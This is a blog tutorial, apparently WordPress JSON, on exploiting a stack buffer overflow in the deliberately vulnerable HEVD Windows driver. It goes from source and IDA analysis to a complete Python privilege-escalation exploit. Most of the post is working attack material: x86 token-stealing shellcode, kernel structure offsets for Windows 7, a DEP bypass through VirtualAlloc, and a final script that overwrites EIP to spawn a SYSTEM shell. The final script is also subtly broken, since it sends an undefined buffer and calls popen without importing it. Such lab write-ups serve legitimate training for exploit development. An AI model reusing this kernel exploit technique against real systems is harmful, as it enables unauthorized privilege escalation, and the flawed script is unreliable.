Alright, so each section will include the most important tips and tricks merged with a bit of theory. I’ll try to keep it not too long as the topic is hard to digest already (remind me these words in the more complex techniques later \ud83d\ude1b) So let’s get started!<\/p>\n\n\n\n
Source Code Review:<\/h2>\n\n\n\n
Go to the source code file BufferOverflowStack.c: (I’m using 2.0 version of HEVD, for the earlier version, the names of the files can change)<\/p>\n\n\n\n
https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\/blob\/master\/Driver\/HEVD\/Windows\/BufferOverflowStack.c<\/p>\n\n\n\n
So let’s go through the code to analyze:<\/p>\n\n\n\n
The structure of the code is as below:<\/p>\n\n\n\n
\/\/ verify if the buffer resides in user mode\nifdef SECURE \n\/\/ RtlCopyMemory Secure function\nelse\n\/\/ RtlCopyMemory Vulnerable function\nendif\n\/\/ throw exception if something is wrong\nIoctlHandler()\n\/\/TriggerBufferOverflowStack function<\/code><\/pre>\n\n\n\nSo let’s see each section of the source code:<\/p>\n\n\n\n
\/\/ verify if the buffer resides in user mode <\/strong><\/p>\n\n\n\n__declspec(safebuffers)\nNTSTATUS\nTriggerBufferOverflowStack(\n _In_ PVOID UserBuffer,\n _In_ SIZE_T Size\n)\n{\n NTSTATUS Status = STATUS_SUCCESS;\n ULONG KernelBuffer[BUFFER_SIZE] = { 0 };\n PAGED_CODE();\n __try\n {\n ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));\n DbgPrint(\"[+] UserBuffer: 0x%p\\n\", UserBuffer);\n DbgPrint(\"[+] UserBuffer Size: 0x%zX\\n\", Size);\n DbgPrint(\"[+] KernelBuffer: 0x%p\\n\", &KernelBuffer);\n DbgPrint(\"[+] KernelBuffer Size: 0x%zX\\n\", sizeof(KernelBuffer));\n<\/code><\/pre>\n\n\n\nSecure implementation of the function RtlCopyMemory():<\/strong> This is secure because the developer is passing a size equal to size of KernelBuffer to RtlCopyMemory()\/memcpy(). <\/p>\n\n\n\n#ifdef SECURE\n\nRtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));\n<\/code><\/pre>\n\n\n\nVulnerable implementation of the function RtlCopyMemory():<\/strong> This is a vanilla Stack based Overflow vulnerability because the developer is passing the user supplied size directly to RtlCopyMemory()\/memcpy() without validating if the size is greater or equal to the size of KernelBuffer<\/p>\n\n\n\n#else\nDbgPrint(\"[+] Triggering Buffer Overflow in Stack\\n\");\nRtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);<\/code><\/pre>\n\n\n\n\nThen we have the IoctlHandler(). Let’s see what’s going on with this code block:<\/p>\n\n\n\n
- If the correct IOCTL code makes it to the BufferOverflowStackIoctlHandler(), a UserBuffer <\/strong>(accepts user input) and a Size<\/strong> (user buffer size) parameter are available. <\/li>
- Then TriggerBufferOverflowStack() function will be triggered by passing UserBuffer and Size<\/strong>. (where the vulnerability exist via the RtlCopyMemory() function)<\/li><\/ul>\n\n\n\n\n\n\n\n\n\n
NTSTATUS\nBufferOverflowStackIoctlHandler(\n _In_ PIRP Irp,\n _In_ PIO_STACK_LOCATION IrpSp\n)\n{\n SIZE_T Size = 0;\n PVOID UserBuffer = NULL;\n NTSTATUS Status = STATUS_UNSUCCESSFUL;\n\n UNREFERENCED_PARAMETER(Irp);\n PAGED_CODE();\n\n UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;\n Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\n\n if (UserBuffer)\n {\n Status = TriggerBufferOverflowStack(UserBuffer, Size);\n }\n\n return Status;\n}<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n\n\n\nNow it’s time to get into more theory with IOCTL:<\/p>\n\n\n\n
## Theory for 2 Windows API functions we’ll use: CreateFileA() and DeviceIoControl()<\/h4>\n\n\n\n
Device drivers are kernel mode objects meaning:<\/p>\n\n\n\n
- we cannot touch them directly from user mode. <\/li>
- Instead, we interact with the drivers through a \u201chandle\u201d.
- A handle is an abstract reference to an object, pipe, file, etc.<\/li>
- We’ll use the following function to define handle in our exploit code:<\/li>
- Resource: (https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/fileapi\/nf-fileapi-createfilea<\/a>)<\/li><\/ul><\/li><\/ul>\n\n\n\n
handle = kernel32.CreateFileA(“\\\\\\\\.\\\\HackSysExtremeVulnerableDriver”, 0xC0000000, 0, None, 0x3, 0, None)<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57-1024x402.png\")
<\/figure>\n\n\n\nAfter obtaining the handle to the device driver, we then can utilize IOCTLs (I\/O control codes) via IRPS (I\/O request packets).<\/p>\n\n\n\n
Windows API function DeviceIOControl is used for user mode apps to communicate with kernel mode drivers. (https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol<\/a>)<\/p>\n\n\n\nThe first argument of the function is the handle to the device driver. <\/p>\n\n\n\n
kernel32.DeviceIoControl(<handle>, <IOCTL-code>, padding, len(padding), None, 0, byref(c_ulong()), None)<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01-1024x454.png\")
<\/figure>\n<\/div><\/div>\n<\/div>\n<\/div>\n\n\n\nBoth of these functions are located in kernel32.dll. In summary we use the following functions for the following reasons:<\/p>\n\n\n\n
CreateFileA(): to create a handle to an I\/O device.<\/p>\n\n\n\n
DeviceIoControl(): We’ll use the handle created via CreateFileA() function as the first parameter and we’ll access the kernel mode object. <\/p>\n\n\n\n
Analysis with IDA<\/h2>\n\n\n\n
Let’s open up the HEVD.sys<\/strong> driver file loaded with OSRLOADER earlier. Take a look at the functions present:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.38.20.png\")
<\/figure>\n\n\n\nLet\u2019s take a look at the IrpDeviceIoCtlHandler() function, which handles IRP requests with IOCTLs. As IRP will travel until it finds the applicable IOCTL, you’ll see many IOCTLs here:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-1024x515.png\")
<\/figure>\n\n\n\nLet’s see the BufferOverflowStackIoctlHandler() function:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27-1024x408.png\")
<\/figure>\n\n\n\nYou see a \u201cjump if zero\u201d instruction which references the above instruction of sub eax, 0x222003h.
If that instruction ends up with zero, we’ll go to the BufferOverflowStackIoctlHandler() function which will trigger a stack overflow condition by passing our IOCTL provided.<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59-1024x908.png\")
<\/figure>\n\n\n\nWhen we scroll up, we see the following lines:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55-1024x775.png\")
<\/figure>\n\n\n\nThis means if we send a value of 0x2223003h<\/strong> as our IOCTL in our proof of concept, we can trigger the vulnerable code. <\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.43.21.png\")
<\/figure>\n\n\n\nLooking at the StackOverflowIoctlHandler() function, we eventually will land in the TriggerStackOverflow() function. Let\u2019s see what is contained in that function:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.52.30.png\")
<\/figure>\n\n\n\n800 hex bytes (2048 bytes) is the length of the KernelBuffer<\/strong>.<\/p>\n\n\n\nSo anything over 2048 bytes will crash the kernel, resulting in a BSOD (blue screen of death).<\/p>\n\n\n\n
Exploit Version 1:<\/h2>\n\n\n\n
Our script structure will look like the following:<\/p>\n\n\n\n
# imports for python\n# create handle with CreateFileA() function\n# throw exception if cannot get IOCTL handle\n# buffer and shellcode\n# DeviceIoControl() with the correct IOCTL and the handle<\/code><\/pre>\n\n\n\nHackSysExtremeVulnerableDriver.c is responsible for creating the device, as we can see below:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34-1024x352.png\")
<\/figure>\n\n\n\nThis means that we will use the path of \\\\.\\HackSysExtremeVulnerableDriver<\/a> within a call to CreateFile to open a handle for communication in our pwith the following format: <\/p>\n\n\n\nhandle = kernel32.CreateFileA( “\\\\\\\\.\\\\HackSysExtremeVulnerableDriver<\/a>“, …)<\/p>\n\n\n\nimport struct, sys, os\nfrom ctypes import *\n\nkernel32 = windll.kernel32\nhandle = kernel32.CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)\n\nif not handle or handle == -1:\n print \"[+] Cannot get device handle.\"\n sys.exit(0)\n\n# EIP overwrite\npadding = \"\\x41\" * 2080\npadding += \"\\x42\" * 4\npadding += \"\\x43\" * (3000 - len(padding))\n\n# 0x222003 is the IOCTL code\nkernel32.DeviceIoControl(handle, 0x222003, padding, len(padding), None, 0, byref(c_ulong()), None)<\/code><\/pre>\n\n\n\nLet’s verify the EIP overwrite with WinDBG:<\/p>\n\n\n\n
!sym noisy\ned nt!Kd_Default_Mask 8\n.reload<\/code><\/pre>\n\n\n\nVerify if the HEVD is loaded with the following command: lm m H*<\/strong><\/p>\n\n\n\nThen, execute g in the command window to let the Debugee run, so we can execute the PoC.<\/p>\n\n\n\n
Run the python script we just wrote above:<\/p>\n\n\n\n
Verify if we overwrite the EIP with the following command: r<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/HEVD_30.png\")
<\/figure>\n\n\n\nPass through the crash: Debug<\/strong> > Go Unhandled Exception<\/strong> and then type g again to execute.<\/p>\n\n\n\nWe get the BSOD – and the 42424242 value of EIP:<\/p>\n\n\n\n![\"\"](\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.58.55.png\")
<\/figure>\n\n\n\nSo the first part was the initial foothold \ud83d\ude01 Now we can actually start the exploitation:<\/p>\n\n\n\n
Token Stealing<\/h2>\n\n\n\n
That one of the techniques we can use here. We need to escalate our privileges to NT AUTHORITY \\ SYSTEM. In order to do that, we’ll write a piece of shellcode that will copy a token with the system privileges to the target process. (cmd.exe)<\/p>\n\n\n\n
First of all, the sample payload is provided to us by HackSysExtreme: <\/p>\n\n\n\n
https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\/blob\/master\/Exploit\/Payloads.c<\/a><\/p>\n\n\n\nWhat the heck does this mean you may say to yourself. Well, I’ll try to explain it all. Here’s the purpose of this code:<\/p>\n\n\n\n
pushad \nxor eax, eax \nmov eax, fs:[eax + KTHREAD_OFFSET] \nmov eax, [eax + EPROCESS_OFFSET] \nmov ecx, eax \nmov edx, SYSTEM_PID \n\nSearchSystemPID:\n mov eax, [eax + FLINK_OFFSET] \n sub eax, FLINK_OFFSET\n cmp [eax + PID_OFFSET], edx \n jne SearchSystemPID\nmov edx, [eax + TOKEN_OFFSET] \nmov [ecx + TOKEN_OFFSET], edx \npopad <\/code><\/pre>\n\n\n\n- Extract the offset to the process and find the following 2 values:
- _KTHREAD_OFFSET<\/li>
- _EPROCESS_OFFSET<\/li><\/ul><\/li><\/ul>\n\n\n\n
- Find the ActiveProcessLinks with the SearchSystemPID function<\/li>
- Find the token (the last 2 mov instructions)<\/li><\/ul>\n\n\n\n
In order to find these values, we’ll use WinDBG. We’ll use the command syntax: dt n!_* for each data structure. <\/p>\n\n\n\n
We’re going to start analyzing _KPRC which stands for Kernel Processor Region. This data structure contains a lot of information. We’ll target specifically what we are looking for. The map to the values looks like the following:<\/p>\n\n\n\n
- _KPRC
- _KPRCB
- _KTHREAD
- _KAPC_STATE
- _KPROCESS
- ActiveProcessLinks<\/li>
- Token<\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n
So let’s get started:<\/p>\n\n\n\n
kd> dt nt!_KPRC<\/p>\n\n\n\n
Scroll down until you see _KPRCB. It’s +0x120 bytes away from _KPRC.<\/p>\n\n\n\n
kd> dt nt!_KPRCB<\/p>\n\n\n\n
You’ll see _KTHREAD which is +0x004 bytes away from _KPRCB. Meaning _KTHREAD is +0x124 bytes away from _KPRC. <\/p>\n\n\n\n
In the assembly code, we will use fs segment register to access the data structure. <\/p>\n\n\n\n
mov eax, fs:[eax + KTHREAD_OFFSET] \n<\/code><\/code><\/pre>\n\n\n\nIn order to find the offset of _EPROCESS of the current thread, we’ll go through the same logic:<\/p>\n\n\n\n
kd> dt nt!_KTHREAD<\/p>\n\n\n\n
Scroll down until you see _KAPC_STATE. It’s +0x040 bytes away from _KTHREAD. <\/p>\n\n\n\n
kd> dt nt!_KAPC_STATE<\/p>\n\n\n\n
You’ll see _KPROCESS is +0x010 away from _KAPC_STATE which make is +0x050 bytes away from _KTHREAD. <\/p>\n\n\n\n
mov eax, [eax + EPROCESS_OFFSET] \n<\/code><\/code><\/pre>\n\n\n\nCool, now we need to find the token of the current process. Let’s find the values with the same logic:<\/p>\n\n\n\n
kd> dt nt!_EPROCESS<\/p>\n\n\n\n
See that ActiveProcessLinks is +0x0b8 bytes away from _EPROCESS and Token is +0x0f8 bytes away from _EPROCESS. <\/p>\n\n\n\n
Last step is list all of the current processes with the following command:<\/p>\n\n\n\n
kd> process 0 0<\/p>\n\n\n\n
Look for a system process and pass the PID with the following command:<\/p>\n\n\n\n
kd> <pid> 1<\/p>\n\n\n\n
This will reveal the SYSTEM process access token. We will copy this token to our own cmd.exe which will give us NT AUTHORITY\\SYSTEM<\/p>\n\n\n\n
Let’s rewrite the assembly code with the known offsets and values:<\/p>\n\n\n\n
- _KTHREAD offset from _KPCR: 0x124<\/li>
- _EPROCESS offset from from _KTHREAD: 0x50<\/li>
- ActiveProcessLinks from _EPROCESS: 0x0b8<\/li>
- Token from _EPROCESS: 0x0f8 <\/li><\/ul>\n\n\n\n
pushad \nxor eax, eax \nmov eax, fs:[eax+0x124] \nmov eax, [eax+0x50] \nmov ecx, eax \nmov edx, 0x4 ;PID for Win7 \n\nmov eax, [eax+0xb8] \nsub eax,0xb8\ncmp [eax+0xb4], edx \njnz 0x1a\n<\/code>\nmov edx, [eax + 0xf8] \nmov [ecx + 0xf8], edx <\/code>\npopad<\/code>\npop ebp ;restore the base pointer\nret 0x8 ;return and clear the next 8 bytes<\/code><\/pre>\n\n\n\nLet’s write our final code with one more additions:<\/p>\n\n\n\n
We’ll Bypass DEP with VirtualAlloc. We’ll allocate RWX region and copy our shellcode to the newly allocated RWX region<\/p>\n\n\n\n
# Bypass DEP with VirtualAlloc \n# Allocate RWX region for shellcode\npointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))\nbuf = (c_char * len(payload)).from_buffer(payload)\n\n# Copy shellcode to newly allocated RWX region\nkernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))\nshellcode = struct.pack(\"<L\",pointer)<\/code><\/code><\/pre>\n\n\n\nFinal Script:<\/h2>\n\n\n\nimport struct, sys, os\nfrom ctypes import *\n\nkernel32 = windll.kernel32\nhandle = kernel32.CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)\n\nif not handle or handle == -1:\n print \"[+] Cannot get device handle.\"\n sys.exit(0)\n\npayload = \"\"\npayload += bytearray(\n \"\\x60\" # pushad\n \"\\x31\\xc0\" # xor eax,eax\n \"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\" # mov eax,[fs:eax+0x124]\n \"\\x8b\\x40\\x50\" # mov eax,[eax+0x50]\n \"\\x89\\xc1\" # mov ecx,eax\n \"\\xba\\x04\\x00\\x00\\x00\" # mov edx,0x4\n \"\\x8b\\x80\\xb8\\x00\\x00\\x00\" # mov eax,[eax+0xb8]\n \"\\x2d\\xb8\\x00\\x00\\x00\" # sub eax,0xb8\n \"\\x39\\x90\\xb4\\x00\\x00\\x00\" # cmp [eax+0xb4],edx\n \"\\x75\\xed\" # jnz 0x1a\n \"\\x8b\\x90\\xf8\\x00\\x00\\x00\" # mov edx,[eax+0xf8]\n \"\\x89\\x91\\xf8\\x00\\x00\\x00\" # mov [ecx+0xf8],edx\n \"\\x61\" # popad\n \"\\x5d\" # pop ebp\n \"\\xc2\\x08\\x00\" # ret 0x8\n)\n\n# Defeating DEP with VirtualAlloc \n# Allocate RWX region for shellcode\npointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))\nbuf = (c_char * len(payload)).from_buffer(payload)\n\n# Copy shellcode to newly allocated RWX region\nkernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))\nshellcode = struct.pack(\"<L\",pointer)\n\n# EIP overwrite\nbuffer = \"A\" * 2080 + shellcode\n\n# 0x222003 is the IOCTL code\nkernel32.DeviceIoControl(handle, 0x222003, padding, len(padding), None, 0, byref(c_ulong()), None)\n\npopen(\"start cmd\", shell= True)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"After preparing for OSEE over a year and finishing almost most of the topics for the previous years syllabus, I finally found the time to start writing a blog series about all the learning I had so far (and more to come as this is a long journey). We’ll be focusing on Kernel Exploitation for… Continue reading HEVD Windows Kernel Exploitation 2 – Stack Overflow<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[21],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=204"}],"version-history":[{"count":10,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions"}],"predecessor-version":[{"id":256,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/204\/revisions\/256"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}